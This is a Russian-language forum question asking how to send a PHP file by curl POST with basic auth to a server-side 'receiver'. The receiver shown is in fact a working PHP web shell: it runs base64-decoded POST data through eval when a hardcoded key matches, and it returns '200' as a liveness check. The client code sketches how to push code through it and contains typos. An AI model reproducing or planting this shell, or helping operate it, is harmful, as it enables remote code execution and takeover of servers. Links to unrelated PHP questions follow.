Отправка файла средствами CURL + POST + CURLAUTH_BASIC

286
22 сентября 2017, 20:54

Есть на сервере файл получатель get_post.php:

<?php 
error_reporting(0);
set_time_limit(0);
if ($_GET['q']=='1'){echo '200'; exit;}
if($_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64_decode($_POST['fack']));
if(md5($_GET['key'])=='7663f1b3555993ad229183b0efad3261')eval(base64_decode($_POST['fack'])); 
?> 

Мне надо с помощью curl отправить файл 123.php со своего сервера на сервер с файлом получателем, POST запросом + на сервере получателе установлена авторизация .htacces. Уже 3 дня сижу с этой штукой не могу побороть . Заранее спасибо.

код которым пытаюсь отправить файл:

<?php
$url = $_SERVER["SERVER_NAME"];
$data = array("fack" => "@/var/www/ku/data/www/мой_ip_сервера/app/webroot/1/123.php");
$string = http_build_query($data);
$url = "http://ip_получатель/get_post.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 
curl_setopt($ch, CURLOPT_USERPWD, 'admin:pass');
curl_setopt($ch, CURLOPT_POSTFIELDS, $string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$outout = curl_exec($ch);
 if ($output === FASLE) {
   echo "$url" . curl_error($ch);
} else {
   echo $output;
}
curl_close($ch);
?>
READ ALSO
Дважды просит пароль в админке opencart

Дважды просит пароль в админке opencart

Чтобы зайти в админку опенкарта нужно дважды ввести логин и пароль, первый раз страница просто перезагружается, а второй раз уже заходит...

196
отправка письма на почту php по условию

отправка письма на почту php по условию

есть таблица human с строкой e_mail с заполненными почтовыми адресами, и date_start с заполненной датой с начало его работы мне надо отправить письмо...

154
Перевести код на php с js. (slice)

Перевести код на php с js. (slice)

Помогите, пожалуйста, перевести данный код на phpИли подскажите откуда взялся b[h] и аналог slice на php

177
Ищу человека-учителя! [требует правки]

Ищу человека-учителя! [требует правки]

Очень сильно хочу научится WEB-программированию! Имею небольшую базу(html, css, javascript) Готов усердно заниматься! Буду рад, если вы захотите мне...

152